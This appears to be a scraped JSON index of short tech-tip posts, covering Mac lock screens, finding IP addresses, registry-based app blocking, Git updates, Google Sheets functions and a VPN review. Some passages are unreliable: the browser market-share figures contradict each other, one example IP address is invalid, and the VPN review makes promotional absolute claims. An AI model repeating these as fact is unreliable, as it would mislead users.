ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVlsC2vsRmpZ6sp6S%2FrHnPnqmfp6Kirq%2BvxGasrKGenHqqvMSrnWaZnpl6sbvWnqmsoJWhuQ%3D%3D\n","link":"/post/how-to-measure-network-performance-using-iperf-and-powershell/","section":"post","tags":null,"title":"How to measure network performance using iPerf and PowerShell"},{"body":"By default, the lock screen or MacBook login screen will always have a blurred interface and an account entry window will appear. However, some users feel that the wallpaper is too monotonous and wants to change the style for the lock screen on the MacBook. In this article, we will show you some ways to customize the login screen on the MacBook.\n1. Change MacBook lock screen wallpaper: Depending on the type of Mac, the screen will have different resolutions. Therefore, users need to prepare the wallpaper with the same resolution as the resolution of the MacBook screen.\nStep 1: To check the MacBook screen resolution, click on the Apple icon on the top left corner of the screen, then select About This Mac\u0026gt; Displays tab .\n  Readers can refer to some screen resolutions for MacBook and iMac models below:\nMacBook Pro Retina display (13-inch): 2560 x 1600. MacBook Pro Retina display (15-inch): 2880 x 1800. MacBook Pro: 1280 x 800. MacBook Air (11-inch): 1366 x 768. MacBook Air (13-inch): 1280 x 800. iMac (21-inch): 1920 x 1080. iMac (27-inch): 2560 x 1440. iMac Retina 5K display: 5120 x 2880. Step 2: Next, users need to convert images to PNG format. Open Preview to browse images, then click File in the menu bar and choose Save As\u0026gt; PNG to save the image as PNG.\nStep 3: After changing the image format to PNG, we rename the whole file to com.apple.desktop.admin.png and click Save to save.\n  Step 4: Go ahead and find Finder\u0026gt; type Go\u0026gt; Go to Folder\u0026gt; enter the path / Library / Caches\u0026gt; Go .\n  Soon, we will be taken to the Caches folder. You just need to drag the image you want to set as the lock screen on MacBook and then press Replace to finish. Thus, the lock screen on the Macbook has been changed.\n2. Add greetings at the Macbook lock screen: In addition to changing the optional screen lock screen interface, adding greetings and messages right on the lock screen interface when you open the phone is also an interesting way.\nStep 1: We follow the path of System Preferences\u0026gt; Security \u0026amp; Privacy\u0026gt; enter Passwword to change the system.\n  Step 2: Next at the Security \u0026amp; Privacy interface, click on the Show a message box when the screen is locked\u0026gt; Set Lock Message .\n  Finally, just enter any message content that will appear on the MacBook lock screen interface and then click OK to save it.\n  3. Replace the MacBook lock screen avatar: Just like the Windows operating system, the lock screen interface also appears on the screen so you can set any image as an avatar. If you want to change your avatar on the lock screen on MaBook is also very simple.\nStep 1: We click on the Apple icon on the screen, click System Preferences, then select Users \u0026amp; Groups .\n  Step 2: Next, click on the account image and select Edit . Here, you can choose the avatar image available in the device. Or users can immediately use photos taken from webcam on Mac to set as avatar in lock screen. Finally click Done to save the new avatar image for the device.\n  So you've finished customizing the lock screen on your Mac, with changing the screen lock wallpaper, changing the avatar and adding greetings and messages right on the lock screen. Instead of leaving the default interface as before, users can change all styles, creating a new atmosphere right on the Mac's lock screen.\nRefer to the following articles: Ways to use the Eject button on the Macbook Fix the Mac crashed during macOS update Instructions on how to install macOS Sierra (clean install) 10.12 on Mac I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCrqqtp52ex6Z506GcZqSfmLhuv8KrnJ6mXaS7brnAnJmop5s%3D\n","link":"/post/instructions-on-how-to-customize-the-lock-screen-on-macbook/","section":"post","tags":null,"title":"Instructions on how to customize the lock screen on MacBook"},{"body":"Internet Explorer remains stable at the top, the most user-friendly in the World.\n  \nAfter the first 6 months of 2014, Internet Explorer continued to lead the browser market with 58.17% market share, while Firefox's market share decreased to only 15.54%. Chrome continued its impressive growth when it increased its market share to 19.34%.\nSpecifically, compared with May:\nInternet Explorer has increased slightly by 0.21 percentage points from 58.17 to 58.38%. Chrome surged nearly 2 percentage points from 17.73% to 19.34%. Firefox dropped more than 1 percentage point from 16.81% to 15.54%. Other browsers increased slightly.   Follow statistics from NetMarketShare\nAmong Internet Explorer versions, IE8 has the largest market share, accounting for 20.89% of the market. This is understandable when Windows XP computers exist a lot and IE8 is the last version to run on this operating system.\nThe reason that Internet Explorer is so big is because Windows has continuously invested in upgrading the browser features once considered \" thrown away \". Users have also begun to return to using IE, most user reviews show that IE's browsing speed has been greatly improved, even faster than other browsers.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKulnqxdmsWxuM6rnKtlmah6tbTEZqSoq6RivbC81KWYq2WlqLKz\n","link":"/post/internet-explorer-is-the-most-popular-user/","section":"post","tags":null,"title":"Internet Explorer is the most popular user"},{"body":"A hot laptop is a common occurrence that many users encounter, but recently some readers have said that their laptop charger is also heating up without understanding why. So the phenomenon of laptop charging hot when charging does affect the laptop or not and we have to deal with how to meet this situation? Please read the following article to get your answer.\nIs the laptop charger plugged in when the battery is full? Should I plug in the laptop charger continuously? How to recover and improve performance for battery-powered laptop batteries The cause of the laptop charger is hot There are many reasons for the laptop charger to be hot, but usually it comes from 6 main reasons below:\nCharging your laptop is not genuine, poor quality. Voltage is not stable when charging. The surroundings of the laptop charger are not cool. Heavy load, both charging and using laptop. The laptop charger is broken. Keep the laptop on surface objects that keep heat such as pillows, blankets, cushions, etc., causing the air vents and fans of the computer to be blocked and unable to radiate heat.   So is the laptop charging hot? If suddenly one day you find the laptop charger is hot, check how hot the charger is. There will be two cases where you can conclude about the status of the laptop charger being hot. Specifically:\nIf you are only warm and hot, and you can accept it, then you don't need to worry, this is a very normal phenomenon. Because, when charging the battery that you use the laptop, the current is converted, so the charger is also hot.\nOn the other hand, if you find your laptop charger hot and smelling, this is a sign that your laptop charger has been broken. For this case, you need to stop charging immediately, it is quite dangerous because the overheating device will lead to a risk of explosion. Bring it to a reputable repair center to be checked and replace the new laptop charger if necessary to make it more secure.\n  How to limit laptop charging hot when charging To limit your laptop charger is not hot much, it is best not to just plug in the laptop charger and use it and after you have finished using it, you should unplug the charger from the power source to get the laptop charger cord to rest. Also, when you use it, let the laptop charger cord in cool places, do not put the charger on the blanket, soft but where the hot glass will reduce the life of the charger cord.\nSee more:\nComputer cooling solutions on summer day 5 ways to cool down, cool, laptop radiator simple and effective How do I know if someone has accessed and used your computer? ncG1vNJzZmismaXArq3KnmWcp51ktrR506GcZqSRpcGwvIycn5qql5q%2FbrTOrQ%3D%3D\n","link":"/post/is-the-laptop-charger-hot/","section":"post","tags":null,"title":"Is the laptop charger hot?"},{"body":"The MathType editor is also used to create TeX, LaTeX, and MathML documents.\nDownload MathType here.\n  Features of MathType A useful addition to the classroom Traditional word processors are limited when it comes to working with complex mathematical equations or scientific expressions. MathType is an additional computer program that allows users to create formulas, edit and insert them into many types of documents. With this software, students, educators, and professionals can build authentic recipes for rigorous research and review articles.\nCompact interface Mathtype's interface has 4 rows of buttons for symbols and a row of five tabs categorized by type of mathematical expression: Algebra, derivative, statistics, matrix, set, trig and geometry. The navigation is very simple and the user can manipulate the equations as they like.\nIt's easy to build an equation in MathType's edit panel. To get started, you must click the buttons to select the desired symbol or by using the Insert Symbol command. You can also copy and paste from the edit panel to another application.\nThere are many formatting options to fit many types of equations. Another attractive feature of MathType is that you can customize the application through the Preferences dialog box. You can assign your own keyboard shortcuts to all symbols, templates, and commands. These shortcuts consist of one or two key combinations with the familiar keys CTRL, Alt or Shift.\nHigh compatibility and support MathType works in conjunction with many word processors. It is a powerful equation maker that is conveniently compatible with Office and other popular programs. It can also work completely independently.\nMathType Setup will automatically install support for each version of Word it detects on the user's computer. To activate the software from Word, users will have to give the application permission to access Office. If the desktop software is installed and activated, the MathType tab will appear at the top in word. The tab will have many different commands and sections.\nMathType for Windows supports object binding and embedding, which is the mechanism that the operating system uses to include information from one application in another. MathType equations are embedded in any Microsoft Office or OpenOffice program.\nOn Macs, MathType also supports OLE. MathType also works to support Apple iWorks. This means equations can be seamlessly embedded and updated. For web applications like Gmail and Google Docs, users can copy and paste HTML tags to embed from MathType.\nRich library of mathematical symbols One of the highlights of MathType is the library of mathematical symbols accessible through any keyboard or by mouse in a graphical WYSIWYG environment. This is unlike document markup languages ​​like LaTexonline, where equations are entered into a text editor and processed into a typesetting document in a different step. MathType also supports LaTex, TeX, and MathMl.\nMathType equations are typed in Times New Roman by default. Other fonts are also used. Greek symbols use Euclid and Computer Modern are used for TeX. On Windows 7 and later, equations can be drawn on the touch screen or with a pen via the math formula input panel.\nConvenient editing   MathType includes a wide range of useful functions and displays commands in a simple and straightforward interface that is easy to use. If users are confused, the User Manual section of the software is full of detailed instructions and helpful tips. MathType offers a 30-day trial, then becomes MathType Lite. Those looking for a free alternative should consider downloading MathCast.\nAdvantages Produces professional results Easily customize keyboard shortcuts Intuitive interface Compatible with MathML and TeX Simple export process Integration with Microsoft Word and Powerpoint Defect The number of options can be very large ncG1vNJzZmismaXArq3KnmWcp51kuqLAx62wqZ1dmby4usuomJ1lnZbBqcDYqZxmoJWnsg%3D%3D\n","link":"/post/mathtype-download-mathtype-here/","section":"post","tags":null,"title":"MathType - Download MathType here"},{"body":"Although not much, Facebook has also designed a number of key combinations so that users can quickly access important functions of social networks without using a mouse.\n  If you use the Chrome browser on a Windows computer, you can make the following shortcuts:\nAlt + 1: Return to the Home page.\nAlt + 2: Access your Timeline / Profile.\nAlt + 3: Access the Friends folder to find friends, connect .\nAlt + 4: Access Messages (messages, chat .)\nAlt + 5: Access the Notifications notification section\nAlt + 6: Access the General Account Settings account settings\nAlt + 7: Go to Privacy Settings privacy settings\nAlt + 8: Access Facebook's official Facebook account.\nAlt + 9: Visit the Facebook Terms and Policies page.\nAlt + 0: Update the Facebook Help Center (Help Center).\nAlt + m: Open the item for writing Facebook messages.\nAlt +?: Lookup\n  Press Alt + m to compose and send the message.\nIf using Firefox on a Windows computer, replace the Alt key with Shift + Alt , for example Shift + Alt + 1, Shift + Alt + 2 .\nSimilarly, the formula on Mac OS is:\n- Firefox: Control + number / m /? (eg Control + 1, Control + 2 .)\n- Chrome: Control + Option + number / m /?\n- Safari: Control + Option + number / m /?\nncG1vNJzZmismaXArq3KnmWcp51kwKa%2ByJ6qZqeWYsCpu9Gtmq6so2KzsL6Mn5icnZKkvKx5xaijpaenmr%2B0\n","link":"/post/series-of-shortcuts-for-facebook-followers/","section":"post","tags":null,"title":"Series of shortcuts for Facebook followers"},{"body":"Hotspot Shield provides an interesting service based on its own technology, to provide a lightning-fast experience, while protecting the identity of the user. Therefore, Hotspot Shield offers very fast download and upload speeds, although it only operates on a medium-sized server network. The following is a detailed review of Hotspot Shield for your reference reading.\nEvaluate the pros and cons of VPN Hotspot Shield Host and location Communication Speed Security and privacy Easy to use Support Stream \u0026amp; torrent Skip moderation A few more info Price Conclude Host and location Hotspot Shield operates a medium-sized network, with its servers located in nearly 100 locations in over 70 countries. From the list on the website, you can see that the servers are spread out everywhere, with about 20 servers in the United States. The company also provides more than 2,500 personal IP addresses.\nCommunication Hotspot Shield provides applications for all popular platforms - namely macOS, Windows, iOS and Android. Linux applications are not available, while router support is available but not easy to set up. Streaming boxes and game consoles are also not supported.\nOn the other hand, browser extensions are available and - like the main application - very easy to use. Hotspot Shield works with Chrome and Firefox browsers.\nA single license allows you to run Hotspot Shield on up to 5 devices and you don't need to set it up on your router.\nSpeed Hotspot Shield is one of the fastest VPN services available, with quite a few tested servers offering fast download and upload speeds and low latency. Whether you need a VPN to stream, torrent or play games, you'll be pleased with Hotspot Shield.\nBecause the company does not have more servers than some competing services, this speed is related to the selected server locations and Hotspot Shield's proprietary protocol. In any case, if connection speed is the main criterion for choosing a VPN service, you won't have trouble with Hotspot Shield.\nSecurity and privacy Instead of using standard protocols like OpenVPN, Hotspot Shield chooses its own proprietary Catapult Hydra protocol. You cannot even change it into something else.\nWhile this may sound limited, it's important to know that this VPN protocol is integrated by 70% of the world's largest security companies (e.g. McAfee, BitDefender, Cheetah Mobile) as well as a few companies. global telecommunications (like Telefonica, KDDI) and have passed many security checks. In addition, this technology makes Hotspot Shield one of the fastest VPNs on the market.\nWhat you need to know is that Hotspot Shield uses unbreakable AES-256 encryption, also used by the NSA to communicate securely. The software also has a kill switch VPN, which protects users from DNS and IPv6 leaks.\nHotspot Shield has a log, but does not collect too much information. It will keep the IP address for the duration of the session, but the information is encrypted and is not associated with your activity while using the VPN.\nIn addition, when opening the application - but before connecting to the VPN - Hotspot Shield will collect device-specific information, such as device ID, hardware model, operating system version, language, and information. network news. This data will help the company improve the service and perform the analysis. In addition, they are unlikely to lead to Hotspot Shield identifying you as an individual user.\nThe most important thing you need to know is that no user activity is recorded.\nEasy to use Hotspot Shield applications are one of the easiest to use options, even new ones will have no trouble installing them on phones and computers. However, this simplicity can make advanced users yearn to have more choices. The company believes that its own protocol is the best available and the default setting doesn't have much room for advanced settings.\nIn addition to desktop and mobile applications, Hotspot Shield also provides browser extensions for Chrome and Firefox, which are equally easy to use. Just install them on your computer, log in and let them do the task in the background.\nSupport The first thing to check with any VPN service is whether it offers 24/7 live chat support, and the good news is that that's true for Hotspot Shield. Moreover, this support is available to both paid and free customers.\nStream \u0026amp; torrent Streaming with Hotspot Shield with all services like Netflix, Hulu, HBO and BBC iPlayer provides a buffer-free experience (temporarily storing data while waiting to be moved to a location). other).\nMoreover, you won't have trouble choosing a server, Hotspot Shield will do this for you.\nSimilar to streaming, torrents also work, without having to choose a dedicated server for P2P traffic and all servers that allow you to download / upload files via BitTorrent. You can expect fast download and upload speeds, and enjoy a buffer-free streaming experience via Kodi (works via BitTorrent).\nSkip moderation Hotspot Shield does not work in highly censored countries, such as Pakistan, Iran, Oman, Qatar and China. So if you're looking for a VPN that will work in these places, you'll have to find another service.\nA few more info Unlike all other major VPN providers, Hotspot Shield has a free version (though there is a catch). First you will receive ads. In addition, unlimited bandwidth is not included in this package. When the VPN is up and running, you will benefit as paying customers.\nPerhaps Hotspot Shield wants to help more users try their services, then buy paid products later.\nPrice Hotspot Shield accepts all major credit cards as well as PayPal, but does not allow payment by cryptocurrency.\nThe service regularly runs promotions, offers a free 7-day trial, and then automatically renews for 1 month. For better benefits, it is better to sign up for a 1 or 3 year plan. Hotspot Shield also offers a 45-day money-back guarantee.\nPlanPremium Price Amount to pay Savings 1 month $ 12.99 (VND 299,000) $ 12.99 1 year $ 5.99 (138,000 VND) $ 71.88 (1,653,000 VND) 54% saving 3 years $ 2.99 (69,000 VND) $ 107,64 (2,475,000 VND) Saving 77% Conclude Advantages\nIt is super fast Works with Netflix, BBC and other services Easy to use applications, browser extensions You can try it for free! Defect\nSome advanced features cannot be configured Does not work in countries with high censorship ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqCfqcCxu9NmqqGhlaGxbsDHnmSfmaOpsrTAjK%2Bnp2WRq66quMCbo55lp57BqXnPq6apqpmawaK%2B2GarnpuYo7ytu8ay\n","link":"/post/the-fastest-vpn-available-with-proprietary-technology/","section":"post","tags":null,"title":"The fastest VPN available with proprietary technology"},{"body":"Check IP addresses with simple IP views in this article, help you know the exact IP address of your computer quickly.\nIP address (or Internet protocol address) used to identify network computers and devices on a network. When computers communicate with each other on the Internet or an intranet, they send information to each other's IP address . If you don't know how to find the IP address on your computer. The following article The network administrator will introduce you and show you how to find and check the fastest IP address on your computer.\nThe ways to search IP are listed in the article:\nUse a search engine\nView IP in Router configuration\nUse the command on Cmd of Windows\nView IP in Network Connection Details\nHow to check IP addresses on Linux\nView IP on IP site\nMethod 1: Find the Public IP address using the search engine Step 1: Open Bing or Google   Bing and Google are two search engines that allow you to find IP addresses , external IP addresses (external IP addresses) or IP Public quickly and easily. Your router address or modem address is also displayed here.\nStep 2: Type IP Address in the search toolbar   Type the IP address on the search toolbar and then press Enter to search. This way only applies on Google, Bing, Ask, DuckDuckGo and some other search engines. Note this way does not apply on Yahoo .\nStep 3: Search your IP address   Your public IP address will display on the first search result. If you are using Ask , your Public IP address will display at the top of the More Answers section (another question).\nYour public IP address is a sequence of 4 integers separated by dots. For example, 199.27.79.192.\nIf you do not know how to view the IP address on your computer, phone or tablet, refer here.\nMethod 2: Find your Public IP address on the Router settings Step 1: Open your Router configuration page   Most of your routers are accessed via Web Interface. When accessing this website \u0026nbsp; You can adjust your Router configuration here.\nOpen Web Interface by entering your Router IP address in the Web browser. Then check your Router IP address . Usually there are some common Route r IP addresses like:\n192.168.1.1 192.168.0.1 192.168.2.1 Step 2: Open Router Status, Internet or WAN page   Open the Router Status, Internet or WAN page to find the Router 's external external IP address. You can search for external IP address (external IP address) on sites such as Internet, Router Status or WAN (Wide Area Network) Status .\nStep 3: Find your IP address   On Router Status, Internet or WAN pages that you have just opened, you will see your IP address under \"Internet Port\" (Internet port) or \"Internet IP Address\" (Internet IP address).\nYour IP address is a sequence of 4 integers separated by dots. Example 199.2.7.79.192.\nMethod 3: Find a Private IP address on Windows using Command Prompt Step 1: Open Command Prompt   Press Windows + R key combination and type cmd in the Search box. Then press Enter to open the Command Prompt.\nFor Windows 8 , press Windows + X key combination and select Command Prompt on the Menu .\nStep 2: Run the command \"ipconfig\"   Type 'ipconfig' then press Enter . On the screen you will see a list of network connection information. All networks connected to your computer will be displayed here.\nStep 3: Find your IP address   You will see your IP address in the IPv4 Address address line below the connection type name.\nYour IP address is a sequence of 4 integers separated by dots, such as 192.168.1.4 .\nMethod 4: Find a Private IP address on Windows using Network Connections Step 1: Open Network Connections   The fastest way is to press the Windows + R key combination and type ncpa.cpl . Then press Enter to open the Network Connections window.\nStep 2:   Right-click Active connection (connection is active). Then select Status . A Status window displays your current network configuration and connection status. If you are using Windows XP , click on the Support tab.\nStep 3: Open the Network Connection Details window   Click to select Details . A Network Connection Details window appears. Your internal IP address (inernal IP address) will be displayed in \"IP Address\" (IP address) or \"IPv4 Address\".\nMethod 5: Check Private IP address on Linux Step 1: Open Terminal   You can check the internal IP address on Linux with the Terminal command. Access the Terminal by pressing Ctrl + Alt + T.\nStep 2: Enter one of the IP configuration commands   To display your IP address you can use 2 different commands.\nsudo ip addr show : For this command you need to enter the Adminpasswordand then use this command. / sbin / ifconfig: For this command you will receive a message saying that you do not have Admin rights. Then type sudo / sbin / ifconfig and enter the password. Step 3: Find your IP address   Each command will display detailed information of all connections installed on your computer. Your task is to find the connection you are using.\nYour internal IP address (internal IP address) is a sequence of 4 integers separated by dots. For example, 192.168.1.4.\nMethod 6: Find your IP address on Websites IP   You can access one of the links below to search for your computer's IP address .\nWhat is my IP What is my IP Address Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kg26%2FyKanpZ1drK66v4ytpmaemaOxbsDHnmSfmaOpsrTAjJympqilqbKzecipZJqclKeytL8%3D\n","link":"/post/6-simple-ways-to-find-the-fastest-computer-ip-address/","section":"post","tags":null,"title":"6 simple ways to find the fastest computer IP address"},{"body":"The listed amount under each paid application has been converted from USD to VND for Google in Vietnamese.\nRecently, Google has accepted Vietnamese currency on the payment system of Google Play app store. Accordingly, if the user previously had to pay in USD when buying an application and through a conversion factor, they can now pay exactly in Vietnamese dong.\n  Specifically, the Vietnamese Google Play interface will now change the amount below the paid apps in units \" d \" ( Vietnam dong ). This is a number that has been converted by Google, users only need to pay by the exact amount listed. However, banks may charge an additional 2-4% of the costs for these transactions.\nThereby, Google has begun to pay more attention to Vietnam, as well as developers and users here. Hopefully in the future, Google will continue to have changes to better serve the needs of Android Vietnamese users.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqiclsZuv9Spp6iqpKh6sa3YppynrF2eu27CyJ6rp5mdmsCmecKuqaudnpjG\n","link":"/post/google-play-supports-payment-in-vietnamese-currency/","section":"post","tags":null,"title":"Google Play supports payment in Vietnamese currency"},{"body":" This wikiHow teaches you how to impose software restrictions, and block certain apps from running on your computer. You can use the Registry Editor on Windows to set up app restrictions, or download a third-party app to block apps on Mac....\nMethod 1of 2:\nUsing Windows  Open your computer's Start menu. Click the Windows icon in the lower-left corner of your screen to open the Start menu.\n  Type and search regedit on the Start menu. \"Regedit Run command\" should show up as the best match. Alternatively, you can click the  icon next to the Start menu icon on the bottom-left, and do your search here.   Click regedit in the search results. The regedit icon looks like blue building blocks. It will open your Registry Editor in a new window.\n  Navigate to \"Policies\" on the sidebar. Find the main folder named \"Computer\" on the left sidebar, and open \"Policies\" under it. In order to find Policies under Computer, you'll have to click HKEY_CURRENT_USER, Software, Microsoft, Windows, and CurrentVersion, respectively. Alternatively, you can click the address bar at the top, and enter ComputerHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies.   Right-click Policies on the sidebar. This will show your options on a pop-up menu.\n  Hover over New on the pop-up menu.\n  Select Key on the New menu. This will create a new key under Policies, and prompt you to name it.\n  Name your new key Explorer. Type this name and hit ↵ Enter or ⏎ Return on your keyboard to save it.\n  Right-click the Explorer key on the sidebar. This will open your right-click options.\n  Hover over New on the right-click menu.\n  Select DWORD (32-bit) Value on New menu. This will create a new value inside the Explorer key, and prompt you to name it.\n  Name your new value DisallowRun. Type this name and hit ↵ Enter or ⏎ Return on your keyboard to save it.\n  Double-click the DisallowRun value. This will allow you to edit the value in a new pop-up window.\n  Change the Value data from \"0\" to \"1.\" Replace the \"0\" under Value data with \"1\" and click OK.\n  Right-click the Explorer key on the sidebar. This will open your options on a pop-up menu.\n  Hover over New on the right-click menu.\n  Select Key on the New menu. This will create a new key under Explorer, and allow you to name your new key.\n  Name your new key DisallowRun. This key will show up below \"Explorer\" on the left sidebar.\n  Right-click the DisallowRun key. You will have to create new string values inside the DisallowRun key in order to block apps from running.\n  Hover over New on the right-click menu.\n  Select String Value on the New menu. This will create a new string value in the DisallowRun key.\n  Name your new string value 1. Type this name and hit ↵ Enter or ⏎ Return to save it. If you want to block another app later, you'll have to add a new string value here. In this case, you can name your other string values 2, 3, 4, and so forth.   Double-click your new string value. This will allow you to edit the string in a new pop-up window.\n  Enter the name of the app you want to block into Value data. Click the text field under the Value data heading, and type the name of the app you want to block from running. Make sure to enter the full name of the executable file here, and include the file extension. For example, if you want to block Notepad, enter notepad.exe.   Click OK. This will save your new string value, and block the specified app from running on your computer.\n  Restart your computer. Some changes will only take effect after restarting.\n  Try running the blocked app on your computer. You'll see a Restrictions pop-up letting you know the app is blocked.\n Method 2of 2:\nUsing Mac  Open knewsense.com/macappblocker/download in a browser. Type or paste this link into your internet browser's address, and hit ↵ Enter or ⏎ Return on your keyboard. If the download doesn't start, click the click here button next to the shield icon near the top of the page. Mac App Blocker gives you a 15-day free trial period. After 15 days, you can purchase the full app, or try a different blocker app.   Run the installer file. Find the Mac App Blocker installer in your Downloads folder, and double-click on its icon to begin the installation.\n  Verify the installation. You may need to first allow the installer in order to begin installation. In this case: Click the Apple icon on the top-left. Click System Preferences. Click Security \u0026amp; Privacy. Click the Lock icon on the bottom-left, and enter your password. Click Allow next to MacAppBlocker.   Click Continue in the installer window. This will take you to the License Agreement page.\n  Agree with the License agreement. Click Continue, and then Agree when you're prompted. Mac App Blocker is a third-party app. Make sure you've read and understood the license agreement here.   Select your computer's main drive. Click the drive you want to install the app on, and click Continue.\n  Click the Install button. This will install the Mac App Blocker app on your computer. If you're prompted, enter your account password to confirm installation.   Click Close. This will close the installer window. If you're prompted, you can choose to keep the installer file, or move it to your trash bin.   Open the Mac App Blocker app. Mac App Blocker icon looks like a blue shield. You can find it in your Applications folder.\n  Set up your Mac App Blocker password. Enter a secure password into the \"Password\" field, reenter into the \"Repeat\" field below, and click Continue. Make sure the box next to \"I have read and I understand this warning\" is checked.   Click the + icon on the bottom-left. This button is in the bottom-left corner of the Mac App Blocker window. It will open a list of all your apps.\n  Select the app you want to block. Find the app you want to block in your Applications folder, and click on its name.\n  Click the Open button. This will add the selected app to the list of blocked apps. When you try to run one of your blocked apps, you'll be prompted to enter your Mac App Blocker password.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCpp6xln6N6sa%2BMqKlmpZGY\n","link":"/post/how-to-block-apps-on-pc-or-mac/","section":"post","tags":null,"title":"How to Block Apps on PC or Mac"},{"body":"You'll have access to all the latest features, improvements, and bug fixes, resulting in enhanced productivity and a better experience.\nThis article will show you how to check the Git version you are currently using, as well as the process of updating the application to the latest version on Windows.\nCheck Git version in use The command that allows you to check the Git version you are using is very simple. To check the version of Git you have on your Windows PC, first launch Command Prompt.\nOn the Command Prompt interface that opens, enter and run the following command:\ngit --version   Details about the Git version you are currently using will immediately be returned below.\n  Now that you know which version of Git you're using, it's time to decide whether to update your app to a newer version.\nHow to Update Git on Windows The command you use to update Git on Windows will vary depending on the version of Git you're currently using. If you are using any version from 2.14.2 to 2.16.1, run this command in Command Prompt:\ngit update If you're using any version after 2.16.1, you'll need to run this command to update Git:\ngit update-git-for-windows   Regardless of which command you use, the Git version will immediately be updated, or you will receive a notification if you are using the latest version.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecCnm2atoJmutbGMp5ywZZeewW7CxKuqoqeeYryvedaipZ2np6g%3D\n","link":"/post/how-to-check-and-update-new-git-version-on-windows/","section":"post","tags":null,"title":"How to check and update new Git version on Windows"},{"body":"Thus, you can completely experience the latest version of Teamfight Tactics after installing PBE server, Teamfight Tactics and League of Legends\u0026nbsp; test server . Follow the instructions below of TipsMake to download and install PBE server, play Truth Arena on the official test server from Riot Games.\nInstructions to download and install PBE Teamfight Tactics server Step 1: Create a PBE Teamfight Tactics server account\n- Visit the link here\n- Create a Riot Games account in NA or Oceania region.\n  Step 2: Download the PBE Teamfight Tactics client server - After registration is complete, click the Download For Windows button.\n  Step 3: Install a client server PBE Teamfight Tactics\n- Click directly on the downloaded file in Step 2, if you want to change the installation directory, choose Advanced Options, and don't click Install.\n  Step 4: Set up Client Teamfight Tactics server PBE\nClick on the settings icon at the bottom of the Client panel.\n  - In the Settings panel, set as the picture below =\u0026gt; click X.\n+ Curent Patchline: Select PBE\n+ Game Language: English (US)\n  Step 5: Login to your PBE Teamfight Tactics server account\n- At the Client interface, enter the Username (account) and Password (password) you created in Step 1 into the system =\u0026gt; select the red arrow button below.\n  Step 6: Agree to the terms and service policy of the NPH - Next, scroll to the bottom of the notification button. - Select the Accept button, agree to the Riot Games terms and privacy policy.\n  Step 7: Click the Play button in the middle of the screen\n  Step 8: Name the server account PBE Teamfight Tactics - Put your account name in the box =\u0026gt; click Start Now. + Note: The maximum name includes 16 characters, both alphanumeric, without any special characters.\n  Step 9: Play beta version of Truth Arena server PBE\n- Select Teamfight Tactics below.\n  - Finally, click the Play button located in the top left corner, join the Truth Arena chess board battle battles at the PBE server.\n  Above are all instructions on how to download, install and play the new version of Truth Arena at the PBE test server. Currently, the latest version of the Truth Arena game has been released, readers can refer to the detailed content of the update via the link below.\nTeamfight Tactics ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXaW5osWMqZmeZaSarq6yyKCfrWWklrC1tcKsZKydoquysw%3D%3D\n","link":"/post/how-to-install-and-play-pbe-teamfight-tactics-server/","section":"post","tags":null,"title":"How to install and play PBE Teamfight Tactics server"},{"body":"Most of us are familiar with basic operations when using spreadsheets in Google Sheets like using specific rows and columns, calculating, creating pie charts, columns, lines from data, etc. But Why do we just stop there. You need to improve spreadsheets like linking data between spreadsheets, taking data or ranges of data accurately and putting them in a completely new position on another sheet. So this article will show you how to link data using QUERY and IMPORTRANGE functions.\nHow to set up the right to edit spreadsheets on Google Sheets Note : When linking data to another spreadsheet, you need to click on the box and \" Allow Access \" after entering the formula, otherwise the data will not appear.\nHow to link data using the IMPORTRANGE function The first, most basic method for linking data between spreadsheets is to use the IMPORTRANGE function. Here is the syntax:\n= IMPORTRANGE (\"spreadsheet_key\", \"range_string\")\n\"Spreadsheet key\" is a long string of numbers and letters in the URL for a given spreadsheet. \"Range string\" is the exact name of the spreadsheet that takes data (called \"Sheet1\", \"Sheet2\", etc. . by default), followed by '!' and the range of cells that want to retrieve data.\nBelow is the table that will link the data:\n  On this spreadsheet, we will get the data from cell A1 to D100. Therefore we will have the following formula:\n= ImportRange (\"1ByTut9xooZdPIBF55gzQ0Cdi04owDTtLVc_gPGtOKY0\", \"Sheet1! A1: D100\")\n  This formula will import data from a spreadsheet to another spreadsheet. Here is the data from cell A1 to D100 from the worksheet \"Sheet1\". The data that will be displayed to another spreadsheet remains the same format as in the original sheet.\nUse the QUERY function to enter conditional data The IMPORTRANGE function is used to transfer data in bulk between worksheets, but if you want to link specific data, use the Query function. This will search for certain words or conditions you have set, then drag the corresponding data from the same row or column.\nFor example, here we will get the German 'Units Sold' data.\n  To get data type the following formula:\n= QUERY (ImportRange (\"1ByTut9xooZdPIBF55gzQ0Cdi04owDTtLVc_gPGtOKY0\", \"Sheet1! A1: O1000\"), \"select Col5 where Col2 = 'Germany'\")\n  Here, \"ImportRange\" data follows the previous syntax correctly and then we will specify the function to column 5 as the column \"Units Sold\" containing column 2 'Germany'. Therefore, there are two \"arguments\" in this query that are ImportRange and select ColX where ColY = 'Z'.\nThe above instructions allow you to create links between spreadsheets and can update data automatically when changing on a spreadsheet.\nI wish you all success\nSee more:\nList of common shortcuts for Google Sheets on computers (Part 1) 6 useful functions in Google Sheets you may not know yet Tricks using Google Sheets should not be ignored ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZo7husMCtmGaalanEprHNZqqpqpWWsbS0xJ6rrGWZo3qou86go55lo52ypsDS\n","link":"/post/how-to-link-data-between-spreadsheets-in-google-sheets/","section":"post","tags":null,"title":"How to link data between spreadsheets in Google Sheets"},{"body":"\u0026nbsp;There are many ways to open an application on\u0026nbsp; a Windows 11 computer . To open them quickly, you can pin them to the Taskbar. But if you pin too many applications to the Taskbar, it will be unsightly. So today, I will show you\u0026nbsp; how to pin applications to your Windows 11 computer screen \u0026nbsp;to open quickly and without affecting the interface.\nHow to pin applications to the Windows 11 computer screen Step 1: First, use the search engine to find the apps you use often and you want to pin them to the Start Menu. Once you've found the app you want to pin, there will be a series of options on the right side of the search panel, including the 